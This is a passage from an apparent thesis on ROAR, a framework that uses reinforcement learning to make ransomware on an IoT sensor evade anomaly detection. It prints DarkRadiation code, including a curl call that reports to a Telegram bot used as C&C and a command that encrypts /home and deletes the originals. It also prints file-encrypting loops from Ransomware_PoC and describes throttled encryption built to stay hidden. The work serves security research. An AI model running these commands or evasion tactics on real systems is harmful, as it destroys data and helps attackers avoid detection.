attack, given that the RL agent can generalize the modification of any malware samples
to bypass any malware detection model under attack. Although claimed to be unique to
their approach, those properties are inherent to RL because the underlying philosophy
is that the agent knows nothing about its environment except how to interact with it.
The agent can thus generalize its learnings and transfer them to a similar but different
environment.

The authors of [76] presented AIMED, an adversarial learning approach using GAs to
evolve known malware samples by applying non-corrupting byte-level modifications to the
structure of the corresponding Windows PE files. The GAs generate optimal mutations
resulting in malware scanners misclassifying the modified malware sample. According
to the authors, their approach is one variation among others, such as RL (previously
presented in [58]) — although not guaranteed to preserve functionality after mutation — or
generative adversarial networks (GANs) [77].

A few years later, one of the original authors formed a new team to follow up with
AIMED-RL [78]. This version also applies non-corrupting byte-level modifications to the
structure of the corresponding Windows PE files. However, AIMED-RL does not use GAs
but leverages RL techniques instead.

[79] demonstrated a case study for self-learning malware which monitors the target cyber-
physical system (CPS) from an external device, stealthily propagates to the target, and
injects strategic system failures at a time and location that the underlying ML model
optimized. This model can learn from external sources of system measurement data to
optimize the chosen attack parameters to maximize the impact and generalize as the attack
strategies are dynamically derived from the monitored environment. They demonstrated
the feasibility of their approach within a simulation based on actual data in the context of
Blue Waters, a computing facility (or their external cooling facility, to be more precise).
The attack was successful and ultimately would have led to an outage of the hosted high-
performance computing infrastructure under real circumstances. While their findings may
guide malicious entities toward successful attacks, the authors also claim that security
experts could proactively use the explanations contained in their work to reinforce defense
strategies against such attacks.

[80] introduced RoboTack, an ML-driven malware using a neural network with three
hidden layers for impact estimation of its attacks against production-grade autonomous
vehicle (AV) software. According to the authors, past research has focused on generating
adversarial samples against deep neural networks (DNNs) used in autonomous vehicles
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perception algorithms. In contrast to adversarial learning, which only tells what to attack,
“RoboTack tells one what, when, and how to attack, making it highly efficient in targeting
AV safety” [80]. To avoid any costly consequences, naturally, the authors evaluated their
malware in a fully simulated environment, including the relevant sensors of an autonomous
vehicle.

[5] focuses on attacking static malware detectors that employ ML techniques. Since
old obfuscation and packing approaches have become ineffective against modern, ML-
based static malware detectors, the authors proposed interweaving intelligent optimization
frameworks with methods for binary diversification. Since most frameworks for malware
modification on a binary level often break its functionality, this new approach was designed
to keep the malware functionality intact. Instead of inserting generated adversarial byte
sequences into the source code to evade detection as presented in previous work, trans-
forming the instructions of binaries in an optimized manner is more promising to preserve
functionality. Specifically, two DNNs are used to modify Windows PE binaries. Thus,
potential attackers could avoid the tedious work of manually finding and crafting such
features by leveraging automatic learning of abstract features. The authors evaluated
their attack setup in simulation (run against known models in white-box and black-box
settings) and in a more realistic environment (run against VirusTotal).

Recently, [81] devised a framework that employs RL techniques for generating adversarial
samples of PE files against static malware detectors and commercial anti-virus engines.
In a pure black-box experiment setup, their framework achieved evasion rates of over 74-
94% against ML-based malware detectors and over 32-48% against commercial anti-virus
engines, which is much higher than what previous frameworks could achieve. Furthermore,
as has been demonstrated by their experiments, transferring adversarial attacks from
one ML-based classifier to another is more straightforward than transferring them to a
commercial anti-virus engine. Finally, the authors ran their experiments on several cloud
virtual machines (VMs) in simulation (against known models in white-box and black-box
settings) and more realistic environments (commercial AV).

The team around Stoecklin at IBM Research built DeepLocker [75], “a highly targeted and
evasive malware, which takes advantage of the weakness in understanding how a black-box
AT model reaches its decisions” [6]. This smart malware will encrypt its payload and inject
itself into a video conference software, for example, to reach the first goal of strong con-
cealment. The encryption hides the payload and avoids detection by most static malware
detectors. In addition, the necessary trigger conditions required to decrypt and activate
the payload are transformed into a DNN, which is very hard to reverse engineer due to its
complexity and black-box nature. Furthermore, for achieving the second goal of highly
target-specific activation, DeepLocker utilizes the previously mentioned DNN trained on
various target identifiers, such as system-level features, current geolocation of the infected
device, and audio or visual inputs. The malware will recognize its target once a predefined
combination of identifiers occurs. It will convert these attributes to the key required to
unlock the malicious payload only when the matching identifiers are fed as input to the
DNN. Stoecklin and his team evaluated DeepLocker as a proof of concept against static
tools (simulation), commercial anti-virus products, and malware sandboxes (realistic en-
vironment, probably running dynamic detection mechanisms). Because DeepLocker acts
as a wrapper around any random malware, it could be seen as the first specimen of an
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entirely new class of malware threats: “any number of Al models could be plugged in to
find the intended victim, and different types of malware could be used as the ‘payload’
that is hidden within the application” [75].

3.3 Summary

Six indicators portrayed in Table 3.1 can roughly categorize the previously presented
selection of smart malware samples:

1. whether they make use of Al techniques to generate adversarial samples for attacks
against other ML models;

2. whether they apply obfuscation of the malware binaries;

3. whether the type of malware analysis they try to evade is static (e.g., ML-based
classifiers or commercial anti-virus engines) or dynamic (e.g., sandbox detection or
device behavior);

4. the type of Al technique they employ, e.g., genetic algorithms (GAs), machine learn-
ing (ML), deep learning (DL), or reinforcement learning (RL);

5. whether they use said techniques before (e.g., obfuscation) or during the attack
(e.g., evaluating trigger conditions), for which the term “attack” refers to executing
malware and causing damage to a target system;

6. if and how the proposed malware was evaluated, i.e., in simulation or a real scenario
(on the target device).

Firstly, most related works in the previous section do not introduce smart malware built to
utilize Al during the attack phase. Secondly, the research focuses on attacking or evading
ML models used in static analysis while evading dynamic analysis is less prevalent. [75]
comes closest to addressing these topics. Yet, DeepLocker is a container and technically
not part of the attack/damage phase. Also, although it tries to evade dynamic analysis
methods, it does not target an ML model for active evasion. Lastly, many analyzed
works apply adversarial learning to target an ML model. However, doing so requires
directly modifying the vectors passed to the model under attack, which in turn requires
knowledge of the target model and the structure of the vector samples. Furthermore, it
must be possible for the attacker to verify the impact a particular vector change had on
the outcome of the targeted ML model. In reality, however, these requirements can not
always be met. For example, it is often unknown which defense mechanism is deployed
on the target system - if any. Also, having access to the resources in charge of producing
the vectors and thus modifying them is not always possible, primarily when the specific
features these vectors are composed of are unknown. In summary, no other work is only
indirectly targeting an ML model by influencing the vectors without having the possibility
of direct modification.
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Table 3.1: Categorization of Surveyed Related Work

Paper  Year | Survey Adversarial Obfuscation Evasion Technique Phase Evaluation

3] 2008 | yes
[59] 2019 | yes
6] 2020 | yes
58 2018 yes yes static RL before S
[
[76] 2019 yes yes static GA before S
[78] 2021 yes yes static RL before S
[79] 2019 no no - ML during S
[80] 2020 yes no - ML during S
5] 2021 yes yes static (DP?) before R/S
[81] 2022 yes yes static RL before R/S
[75] 2018 no yes static/dynamic DL before R/S

this work 2023 no no dynamic RL during R/S

As Bruce Schneier aptly wrote, “both attack and defense will benefit from Al technologies
[...] There will be better offensive and defensive Al techniques” [82]. This insight perfectly
matches what Kaloudi and Li believed: “that the most efficient way to fight Al is using
AT to compete at scope, speed, and scale” [6]. Naturally, this not only works for defensive
approaches but also in the reverse sense when thinking from an attacker’s perspective.

Following these suggestions, this work intends to apply RL techniques to allow ransomware
to learn from previous experiences by exploring its target environment — thus optimizing
its impact on the target device. From the works we found, only a few applied Al techniques
during their attack scenario. However, even fewer were using RL for their malware, yet
none employed RL during the attack. Moreover, to our knowledge, none of the existing
works use RL during an attack on IoT devices to optimize its impact and simultaneously
evade ML-based, dynamic malware detection mechanisms.

While existing adversarial attacks target an ML model by directly modifying the vectors
passed to the model under attack, ROAR uses its own AD model to indirectly influences
the vectors passed to the dynamic AD defense mechanism without having direct access to
them; it cannot modify them. Therefore, the attack scenario is more realistic compared
to artificial conditions where direct modification would be possible because it is unknown
whether the malware can imitate the defensive AD model and produce the combination
of features matching the fingerprint requirements or whether the malware has a malicious
impact on the targeted system and its behavior. Accordingly, ROAR differs from existing
adversarial attacks, although it indirectly targets an ML model - but not the samples,
only the software generating them.

2(lassified as DP because the authors mention leveraging both hill-climbing (black-box setting) and
gradient-based information (white-box setting) without explicitly mentioning the technique family indi-
cating more sophisticated “intelligence.”
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Scenario

This chapter is dedicated to explaining the underlying attack scenario on which the devel-
opment of the ROAR framework is based. It introduces the different components taking
part in the attack and explains how they were designed and why, respectively.

The cybersecurity community has teamed up to provide identified malware that can be
found in the wild for research and defense purposes. Granted, the samples uploaded to
malware sample databases could be more successful, as they have been detected and neu-
tralized at some point. However, providing them is essential for improving defense mecha-
nisms and developing new methods. Malicious malware samples are available on websites
like GitHub [83], MalwareBazaar [84] (relatively new compared to others), VirusShare [85],
and VirusTotal [86], to name only a few sources.

From a high-level perspective, this work aims to optimize the evasion capabilities of ran-
somware to stay undetected under the surveillance of a defensive AD model. Although
doing so will affect the ransomware’s efficiency, it should be possible to encrypt files at a
meaningful encryption rate in terms of bytes per second. The optimization with RL tries
to find the best possible ransomware configuration that increases the encryption efficiency
to the highest limit while remaining undetected. However, given the nature of today’s
defense mechanisms, the focus primarily lies on evading detection.

4.1 Ransomware Selection

According to [30,87-90], ransomware is among the most dangerous malware types for
[oT devices because of the growing attack surface, the missing security measures, and the
rising risk associated with a ransomware attack, e.g., ransom payment, loss of data, loss
of reputation or customers. Therefore, the search efforts focused on available ransomware
samples targeting resource-constrained devices (or at least executable on a Linux-based
operating system). One of the main criteria for selecting suitable ransomware samples was
that the ransomware should be publicly available on the Internet without hiding behind
a paywall or having to retrieve it from any suspicious or illegal websites. Furthermore,
the source code of the ransomware should be available and allow for the sample to be

21
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Listing 4.1: DarkRadiation Communicating with a Telegram Bot.

#1/bin/bash

TOKEN='<TELEGRAM_TOKEN >'

MSG_URL="'https://api.telegram.org/bot '$TOKEN'/sendMessage?chat_id="
ID_MSG='"'<CHAT_ID>'

send_message ()

{
res=$(curl -s --insecure --data-urlencode "text=$2" "$MSG_URL$1&" &)
}

correctly executed — both being requirements for extending the ransomware to match the
design goals of ROAR. The efficiency of the ransomware was not a leading factor because
this work focuses on the RL aspect and its implementation of the agent, not on the
ransomware itself. However, extending it to allow for configuration is of high importance
and a necessity. More so, one possible addition mentioned in the future work chapter
of this work would even consider swapping out the entire ransomware and treating it as
an interchangeable component of the RL environment. Ultimately, three samples made
it into the final selection: DarkRadiation!, RAASNet [91], and Ransomware PoC [23].
Since RAASNet and Ransomware_PoC are both implemented in Python, and RAASNet
uses the same AES encryption algorithm from the Crypto.Cipher package yet is much
more complex, Ransomware_PoC was retained for direct comparison with DarkRadiation.
Although there most likely would have been other exciting samples waiting to be found,
this small selection was already enough to fulfill the requirements.

4.1.1 DarkRadiation

The source code for DarkRadiation could not be found on the Internet but was available
from previous work [92]. DarkRadiation is implemented in Bash and targets Linux-based
systems and Docker containers. It consists of three scripts: supermicro_cr.sh, bash.sh,
and bot.sh. The first is the main script containing the encryption and other damage
functions, while the other two are utility scripts.

The bash.sh script is used for persisting the ransomware on the device by creating and
registering a system service called “Griphon.” What is very interesting about DarkRadi-
ation is that, instead of a traditional C&C server, it uses a Telegram bot for which the
Griphon service defines its customizable API, initiates a connection to the bot, and re-
ports all necessary device data for communication. Then, using the ExecStart command,
the script ensures the bot is started on system boot or by manual service invocation via
systemctl. The other utility script, bot.sh, communicates with the Telegram bot, as
shown in Listing 4.1. It reports the number of currently active user sessions on the target
device and notifies about any changes in that number.

Upon starting the main script, supermicro_cr.sh, DarkRadiation first checks whether
it was executed with root privileges — otherwise, it directly aborts and removes itself.

Thttps://bazaar.abuse.ch/browse.php?search=tag%3ADarkRadiation
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Listing 4.2: DarkRadiation Encrypts Files in Various Locations

encrypt_home ()

{
for id in $ID_MSG
do
send_message $id "$(hostname) : encrypt home, files, started."
done

grep -r '/home' -e "" -1 | xargs -P 10 -I FILE openssl enc -aes-256-
cbc -salt -pass pass:$PASS_DEC -in FILE -out FILE.<RAD>

for id in $ID_MSG

do

send_message $id "$(hostname) : ,encrypt home files done. Deletefiles.
done

grep -r '/home' -e "" -1 --exclude=\*.<RAD> | xargs rm -rf FILE

If root privileges were granted, DarkRadiation checks for and installs openssl, curl, and
wget. It then continues with downloading the other two scripts into system directories,
grants them execution permissions, and executes them.

After preparing the necessary utilities and ensuring persistence, existing users are then
locked out. Next, the passwords of all users on the device are changed to a custom hard-
coded password (e.g., “megapassword”). In addition, the script adds a new user with
a configurable username (e.g., “ferrum”) and password to ensure future access without
having to go through the infection process again.

The main script contains three distinct methods for encrypting different parts of the target
file system. Specifically, as shown in Listing 4.2, there exist separate methods to:

1. Encrypt the /home directory.
2. Search the entire file system for files matching a specific expression.

3. Search the entire file system for files whose file ending is contained in a hard-coded
list of file endings, mainly targeting database files.

The ransomware stores the encrypted content into a new file by appending a custom
file extension, the Unicode character U+26222, which was replaced in Listing 4.2 with
“<RAD>" due to character encoding issues. After finishing the encryption, the original
files are deleted.

Unfortunately, the code for file encryption combines the search for target files, looping
over these files, file encryption, and file renaming on a single line of code. Hence, it lacks
access to individual files during encryption and would have to be rewritten when trying
to make the ransomware configurable.

2Unicode “Radioactive Sign,” https://www.compart.com/en/unicode/U+2622, accessed: 2023-02-03
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Listing 4.3: Ransomware_PoC Iterates over Files in a Simple For-Loop

# Create AES counter and AES cipher
ctr = Counter.new(128)
crypt = AES.new(key, AES.MODE_CTR, counter=ctr)

# Recursively go through folders and encrypt/decrypt files
for currentDir in startdirs:
for file in discover.discoverFiles (currentDir):
if encrypt and not file.endswith(extension):
modify.modify_file_inplace(file, crypt.encrypt)
os.rename(file, file + extension)
print ("File,changed, from," + file + "_,to," + file + extension)
if decrypt and file.endswith(extension):
modify.modify_file_inplace(file, crypt.encrypt)
file_original = os.path.splitext(file) [0]
os.rename (file, file_original)
print ("File,changed, from," + file + "_,toy," + file_original)

4.1.2 Ransomware_PoC

Although rewriting DarkRadiation would have been possible from a technical point of
view, Ransomware_PoC did not require such efforts and was already prepared for easy
source code extension. The respective source code is publicly available on GitHub [23].
In addition, Ransomware_PoC is implemented in Python and uses multiple, nested for-
loops, making individual files much more accessible when compared to DarkRadiation.
Therefore, Ransomware_PoC was ultimately extended to enable runtime configuration
controlled by the RL agent. Listing 4.3 points out the simple file iteration used in Ran-
somware_PoC.

The ransomware recursively starts looking for files according to the paths provided in
startdirs, which, unless provided as an argument when starting the ransomware, only
includes a dummy folder, “test_ransomware,” in the current user’s home directory. Then,
in the discoverFiles method, the files are matched against a large set of commonly
used file extensions, including sets of extensions for Microsoft Office, audio and video
files, images, or files containing various forms of source code. All files matching any
of these extensions are encrypted by directly replacing their contents on a binary level
as the ransomware reads along (see Listing 4.4). After having encrypted a file, it is
renamed instead of copied to avoid requiring additional disk space, and a custom extension
“.wasted” is appended to the file name. The keys utilized in the encryption and decryption
process are hard coded in the source file because it was created to demonstrate the flow
of a typical ransomware attack for research and educational purposes. Moreover, in its
original form, Ransomware_PoC is not explicitly optimized for speed and does not apply
data exfiltration. It thus requires neither an active Internet connection nor a C&C server.
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Listing 4.4: Ransomware_PoC Modifies Targeted Files Directly Inplace on a Binary Level

def modify_file_inplace(file_name, crypto, block_size=16):
with open(file_name, 'r+b') as f:
plaintext = f.read(block_size)

while plaintext:
ciphertext = crypto(plaintext)
if len(plaintext) != len(ciphertext):
raise ValueError('''Ciphertezt ({})is not of the same length of
the Plaintext ({}).

Not a stream cipher.'''.format(len(ciphertext), len(plaintext)))

f.seek(-len(plaintext), 1) # return to same point before the read
f.write(ciphertext)

plaintext = f.read(block_size)

4.2 Extended Ransomware

In summary, Ransomware_PoC is not controlled by a C&C server, does not require com-
plex handling of encryption keys, and is easy to understand, use, and modify in terms of
adjusting the encryption algorithm or internal mechanisms. Accordingly, the ransomware
deployed in the ROAR framework extends Ransomware_PoC by wrapping it with a client
Python script (either client.py or client-collect-fp.py, depending on the use case).
The client script coordinates the execution of the ransomware in the primary process.
It starts two child processes, one for the device fingerprinting and another to listen for
changes in the ransomware configuration received from the C&C server.

The first child process calls the fingerprinter.sh script, which measures the features of
the device behavior fingerprint and collects the current encryption rate from a dedicated
file. Once the fingerprint is assembled and the encryption rate is available, both are sent
to the C&C server API for integration in the RL training process. The second child
process opens a socket on the predefined port 42666 and listens for incoming packets.
Once a packet is received, its content is parsed to a dictionary and stored in the dedicated
configuration file. The ransomware achieves dynamic configuration by regularly reading
the configuration file to ensure the most recent settings are applied to the encryption.

The primary process continues to run the ransomware in rwpoc.py (the extended ver-
sion of Ransomware_PoC). Thanks to the second child process listening for configuration
changes, the ransomware allows runtime configuration of a) the used encryption algo-
rithm, b) a maximum encryption rate limitation measured in bytes per second, and c)
encryption burst settings. An encryption burst is a cyclic period in the encryption process
of the ongoing ransomware attack, and its configuration consists of two parts. Firstly, the
burst’s duration is considered, measured in a fixed number of seconds or files to be en-
crypted — represented by the characters s and f, respectively. Secondly, an indicator tells
the ransomware how often a new burst should be launched, represented as a fixed number
of seconds to sleep between bursts.
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Specifically, the encryption rate limitation and bursts are applied during file encryption
while reading and encrypting blocks of the file content. Every time a new block is to be
read, the latest configuration is retrieved from the configuration file. Then, the block is
encrypted in place with the configured encryption algorithm, i.e., the ciphertext directly
replaces the original plain text. Based on the size of the plain text, the configured encryp-
tion rate is enforced: if the cumulated size s of blocks encrypted in the current burst is
larger than the allowed limit (configured encryption rate r times duration d), the process
sleeps for as long as the time difference n required to match the burst duration to the rate
limit. In other words, if r *d < s, then r * (d4n) = s, thus n =  —d. When calculating
the rate sleep period, the current encryption rate 5 is written to a dedicated rate file for
the fingerprinter child process.

After enforcing the configured encryption rate, the encryption bursts are handled. If the
configuration contains a limitation of the burst duration, the current burst duration is
calculated. If it exceeds the configured duration limit, the current encryption metrics
are written to a dedicated metrics file, the encryption process sleeps for the configured
burst pause, and all burst counters and timers are reset — officially terminating the burst.
Moreover, if there is no burst duration limit and, consequently, no encryption bursts, the
current encryption metrics are also written to the metrics file every ten seconds. The
same concepts regarding handling encryption bursts apply to time-based burst duration
(number of seconds; handled during file encryption) and file-based burst duration (number
of files; handled after file encryption).

The encryption metrics written to the metrics file include the total number and total size
of encrypted files, the total encryption duration since starting the ransomware, and the
number and the corresponding size of files encrypted in the current burst. Furthermore,
some details regarding the active ransomware configuration and the current encryption
burst are added to the metrics. These details encompass the configured burst duration
and pause between bursts, the duration of the current burst, and information on the
configured and the actual encryption rate. Lastly, the configured encryption algorithm is
appended to the metrics file.

Various ransomware configurations were used throughout the collection of sample behav-
ioral data of the target device and the development and evaluation of the different RL
prototypes. An initial set of eight configurations was used to evaluate how the extended
ransomware would perform. This set featured four configurations that used the encryp-
tion algorithms AES-CBC, AES-CTR, Salsa20, and ChaCha20 and neither limited the
encryption rate nor defined any burst settings. The other four configurations used the
same algorithms but defined very high encryption rate limits (50’000 to 400’000 bytes per
second) with varying burst settings. However, the results for these configurations did not
match the expectations, and a new set of configurations was created.

The second set of configurations is the one that was used for the rest of this work. It
contains a total of six configurations. The first configuration is relatively neutral, with a
very low encryption rate limit and long burst pauses to appear almost normal while still
making some encryption progress. The second and third configurations are unlimited in
terms of encryption rate and burst settings (marked by the value zero) and use different
encryption algorithms to verify the effects on the target device behavior. These two
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Table 4.1: Overview of all Ransomware Configurations.

Configuration | Encryption Algorithm Encryption Rate (B/s) Burst Duration Burst Pause (s)
Config 0 ChaCha20 16 f1 60
Config 1 AES-CTR 565°565.65% s0 0
Config 2 Salsa20 632°834.80* sO 0
Config 3 AES-CTR 500 s10 5
Config 4 ChaCha20 200 520 40
Config 5 Salsa20 200 s120 30

*technically unlimited, averaged rates collected during encryption

configurations comprise the control group and are considered anomalous; they should
be avoided whenever possible. The fourth configuration is considered the fastest, with
an encryption rate of 500 bytes per second, medium burst duration, and short pauses.
Finally, the fifth and sixth configurations have a rate limit of 200 bytes per second but
different settings for longer bursts. Table 4.1 provides a detailed overview of the final
ransomware configurations.

4.3 Environment Setup

The ransomware attack environment featured in ROAR encompasses two main compo-
nents depicted in Figure 4.1:

1. an operative IoT sensor device to be infected with ROAR;

2. a device running a C&C server to coordinate the overall attack.

Regarding the IoT sensor, a Raspberry Pi equipped with an antenna is mounted with
an image of a Raspberry Pi OS 9 (32-bit Stretch, Debian/Linux-based) running all Elec-
troSense services on autostart after booting. More in detail, a Raspberry Pi 4 Model B
with 4 GB RAM is used throughout this work. The ElectroSense sensor is deployed in
a private local area network (LAN) that is reachable from the outside through a virtual
private network (VPN) tunnel for convenience.

Furthermore, the ROAR ransomware uses a C&C server where everything regarding fin-
gerprint evaluation and the RL model runs. For simplicity, however, the attack setup
does not employ a C&C server in the traditional sense. Instead, a private laptop is con-
nected to the sensor’s LAN directly on-site or through the VPN tunnel mentioned before.
Specifically, this work utilizes a Lenovo ThinkPad X1 Yoga 3rd Gen. running on Windows
11 Pro with 16 GB of RAM and an Intel i7-8550U CPU. Furthermore, because reducing
learning times by every means possible greatly helps when running many experiments
simultaneously, an alternative execution environment was provisioned. A VM running
Ubuntu 22.04 LTS with 16 GB RAM and 16 single-core Intel Xeon E312xx CPUs run-
ning at 2.4 GHz, providing one thread per core, was used for evaluating the experiments
described in the results subsections of every prototype in Chapter 5.
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Figure 4.1: Ransomware Environment Featuring a Raspberry Pi and C&C Server API

To construct the behavioral fingerprint of the [oT sensor device as described in Section 2.3,
ROAR uses the Linux commands perf (selecting 75 different PMU events) and top (filter-
ing out information on current CPU and memory usage as well as running tasks). Addi-
tionally, several metrics regarding network traffic (i.e., connectivity and packet counters)
and temperature (CPU temperature captured by the vcgencmd measure_temp command
inherent to the Raspberry Pi) are also collected. The sampling process was combined in
a single script to be executed periodically for simplification. The perf command collects
the device behavior for 5 seconds, and the finalized fingerprint arrives at the C&C device
shortly afterward. Other operations in the script and network latency may cause a slight
delay. Figure 4.2 shows the composition of features for the resulting behavioral device
fingerprint. Specifically, the upper half lists the features collected from the target device,
and the lower half lists the remaining features after applying advanced preprocessing as
is done in the final prototype (see Chapter 5).

Only one specific target folder was indicated to run the ROAR ransomware in a safe
and non-threatening manner while ensuring the integrity of critical system files. The
target folder contained 1000 PDF files worth 758 MB provided by [93] that were used as
manipulation mass for encryption while collecting malicious fingerprints. In this context,
the data was only used to be encrypted and decrypted and otherwise remained untouched.
No other processing or further evaluation of the data has occurred.

A fixed set of signals are exchanged between the IoT sensor device and the C&C device
across all prototypes described in Chapter 5. Namely, the set of signals contains the device
behavior fingerprint of the sensor (FP), the current encryption rate of the ransomware,
which is sent along with the fingerprint (Rate), a one-time signal originating from the
sensor indicating that the ransomware has completed the encryption process (done), and
the ransomware configuration selected by the RL agent running on the C&C device to be
applied on the sensor (RW C). These signals are depicted in Figure 4.1, marked with the
abbreviations previously listed in parentheses.
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Figure 4.2: Behavioral Families and Feature Selection Forming Behavioral Fingerprints
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4.4 Anomaly Detection

Section 2.3 introduced the concepts of behavioral device fingerprinting and its scenarios,
like AD or device identification. AD tries to identify anomalous changes in normal device
behavior to detect ongoing attacks (anomalies in behavior caused by cyber threats), for
example [54].

The attack scenario in this work assumes an AD defense model running on the target de-
vice and monitoring device behavior collected from lower-level in-device sources, such as
various HPC or current device resource usage. The ransomware deployed by ROAR was
extended to be dynamically configurable for one particular reason: to react to changes in
the current device behavior, thus reducing its impact on the collected behavioral finger-
print as best as possible and therefore remain undetected.

The ROAR framework avoids detection by employing its own AD model on the C&C
server monitoring in-device sources collected on the target device and sent to the model.
Since the details specific to the AD model defending the target device are usually unknown
to the attacker, the imitating AD model on the attack side tries to consider a broad range
of possible behavior sources. As described in Section 4.3, such sources include, among
others, the current resource usage and many heterogeneous hardware events.

According to the described setup, technically, there would be two different AD models —
one on the defense and one on the offense side — running in the considered attack scenario.
However, for reasons of simplification, the model on the defense side is neither practically
implemented nor further elaborated on in the rest of this work. Thus, the offensive model
is meant when referring to an AD model, e.g., in Chapters 5 to 7.



Chapter 5

Prototypes

This chapter first explains the shared architecture over all ROAR prototypes in Section 5.1
and then introduces the different prototypes of the RL agent in detail. Starting with a
conceptual proof of concept prototype in Section 5.2, the development of the RL agent
went through multiple stages of improvement. These improvements featured a prototype
implementing Q-learning, described in Section 5.3, and a prototype implementing SARSA,
explained in Section 5.4. The different versions are listed in the order they were devel-
oped, and every section explains the respective improvements and changes, including the
corresponding reasoning behind them. Finally, in Section 5.5, the findings of each topic
are combined to form another prototype to optimize the overall performance, accuracy,
and required learning time in terms of training duration and the number of episodes. For
convenience, Table 5.1 presents an overview of all prototypes, listing their key features
(i.e., used reward function and activation functions, model parameters, applied weight
initialization, or dimensions of the neural network) and incremental improvements, as
explained throughout the respective sections.

The execution environment consisting of the Raspberry Pi and C&C API, as previously
described in Chapter 4, represents a detailed explanation of the underlying attack sce-
nario. It is an integral part of the overall RL environment, whose concept was introduced
in Section 2.4. Accordingly, the term “environment” from now on refers to the entire RL
environment explicitly containing everything that does not belong to the RL agent. In-
cluding the ransomware in the RL environment is essential, especially regarding possible
approaches to environment simulation discussed in Subsection 5.1.3.

5.1 Prototype Architecture Overview

The code architecture of the C&C segment in the ROAR environment provides multi-
ple entry points to launch the C&C server. Furthermore, it follows a parameter-based
configuration approach that provides easy versioning of prototypes. The remainder of
this section explains the primary and secondary entry points, the reasoning behind the
versioning and relevant components that make up a prototype version, and lastly, how
the ransomware environment is simulated to speed up the training of the RL agent.

31
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Table 5.1: Overview of all RL Prototype Versions

Version | Description Parameters Rewards Activation Weights Dimensions | Features/Improvements
vl Proof of Concept simple AD, - manual action selection
standard - takes each action once, then terminates
" v2 | Deep Q-learning =02, simple AD, Log  uniform 97 /50 /6 | - implements Q-learning algorithm
(single episode) a = 0.0050, v = 0.75 standard ReLU - agent predicts actions
- executes single episode
- stops episode on full encryption (real)
or reaching max steps (sim)
v3 Deep Q-learning € =0.1, d = 0.01, advanced AD, Log Xavier 50 /30 / 6 | - executes multiple episodes
(max steps) a =0.0025, v =0.75  performance ReLU
" v4 | Deep Q-learning ¢ =0.5,d =001, advanced AD, Log  Xavier 50 /30 /6 | - stops episode on full encryption (real)
(data corpus) performance SiLU ing corpus size (sim)
" v5 | Deep Q-learning  €=0.1,d=0.01,  ideal AD, | Log ~ Xavier 50 /30/6 |
(ideal AD) performance SiLU
"~ v08 | Single-Step €= 0.5,d =001 . ideal AD, ] Log ~ Xavier 50 /30 /6 | - implements Q-learning algorithm
Q-learning a = 0.0005, v = 0.75  performance SiLU - stops episode after one step
- no direct development contribution
v6 Deep SARSA e=10.5,d=0.01, advanced AD, Log Xavier 50 /30 /6 | - implements SARSA algorithm
(data corpus) a = 0.0005, v = 0.75  performance SiLU
" V7 | Deep SARSA  €=0.1,d=001,  ideal AD, ] Log  Xavier 50/30/6| T
(ideal AD) a =0.0005,7v=0.75 performance SiLU
v8 Deep Q-learning €= 0.4, d = 0.01, ideal AD, Log He 50 / 40 / 6 | - implements Q-learning algorithm
(optimized) a =0.0050, v = 0.1 performance SiLU - combines experimentation findings
- evaluated in simulation and real scenario

5.1.1 Entry Points

There are two entry points to execute the C&C server of the ROAR framework. The
possible ways to run the server are also documented in the root README.md file of the
server repository [25].

The main entry point is the server.py Python script that will launch the plain C&C
server containing everything needed to complete the ransomware running on the target
device, i.e., the orchestration of the environment and the RL agent. The script can be
run from the command line and provides several parameters to be set:

e c: the flag —c marks the collection of fingerprints and only starts the API;
e p: the option -p <v> allows running a specific prototype version of the RL agent;

e s: the flag -s marks execution with a simulated environment in contrast to relying
on real data collected from the target device by the ransomware.

Typical calls look like python3 ./server.py -c to collect target device behavior fin-
gerprints for simulation, python3 ./server.py -p 2 to run the RL agent (prototype
version 2) with real-time data from the target, or python3 ./server.py -p 4 -s torun
the RL agent (prototype version 4) in simulation with previously collected data (no API
required).

A secondary entry point, the accuracy.py Python script, exists to evaluate the RL agent
by computing the accuracy in terms of the number of times it selects the known best action
for the given configuration. Specifically, the script first computes the accuracy of a new,
untrained agent by feeding it all initially collected fingerprints — of normal and infected
behavior — one at a time and comparing its predicted action against the previously known
best action. Then, it lets the agent train according to the implemented prototype version
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Figure 5.1: Illustration of the Components Used in the Versioning of Prototypes

Agent

and corresponding configuration. Finally, the trained agent is re-evaluated to demonstrate
the effects of training and learning the best action. Since the script does not provide any
parameters and entirely relies on adjusting the script to the desired prototype version,
the script is called like so: python3 ./accuracy.py.

5.1.2 Prototype Versioning

The modular architecture illustrated in Figure 5.1 simplifies the versioning of different
prototypes and allows for exchanging individual parts of the implementation much more
quickly. Such components include the data preprocessor classes for AD or the Controller,
Agent, and Model classes of the RL agent. The Controller, Agent, and Model classes
of some prototype versions have been left out in the figure to simplify the overview.
It is essential to distinguish between the RL agent and the Agent class. The RL agent
originates from the theory of reinforcement learning (RL) and is not directly related to the
underlying implementation. Instead, it encompasses certain RL concepts spread across
multiple Python classes according to software engineering principles. The Agent class,
in contrast, is an implementation detail that mixes these concepts, some of which belong
to the RL environment (e.g., fingerprint preprocessing) while others belong to the RL
agent (e.g., error calculation or initialization of the neural network). The implementation
details are abstracted whenever possible to avoid this confusion, and only the conceptual
RL agent is referenced.

The prototype version originates from the entry point, either passed as a parameter or
directly as part of the implementation, and is stored in the shared configuration file. Based
on the prototype version, the proper Controller instance is requested. The Controller
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class is in charge of orchestrating the entire training process and, therefore, contains the
episode and step loops for the implemented RL algorithm, like Q-learning or SARSA. Since
it controls what happens during an episode, the Controller also listens to API calls or
simulates the entire RL environment. In addition, the Controller will trigger the reward
computation for any actions taken as part of its step loop. Furthermore, the Controller
also coordinates saving the current representation of the training progress to a file for
error-prone persistence or when to generate plots of the training results. The training
progress consists of the current AgentRepresentation. It holds vital information for
reconstruction, such as dimensions, weights, and biases of the neural network, the epsilon
of the current episode, or the agent’s learning rate.

The Controller delegates any tasks related to saving the current representation or pre-
dicting the best action in the current state to the Agent class. This class is in charge of
initializing the neural network regarding dynamically derived dimensions and randomly
instantiated weights and biases. It also defines how to standardize and preprocess any
fingerprint it is presented with by the Controller and converts them into proper state
representations for processing in the neural network. In that sense, the Agent is an
intermediary between the Controller and the Model, containing the neural network’s
implementation details. Lastly, the Agent performs the error calculation of the past pre-
diction.

As mentioned, the Model class contains the implementation details of the chosen neu-
ral network structure. Most importantly, it declares the forward pass of the fingerprint
through the network, including applying different activation functions. The Model also
implements the backpropagation of the error to adjust the network’s weights accordingly.

Further interchangeable components include:

e the preprocessor of fingerprints (e.g., SimplePreprocessor and AdvancedPrepro-
cessor) as applied in AD or by the Agent and

e reward systems (e.g., StandardReward, PerformanceReward, or IdealADPerfor-
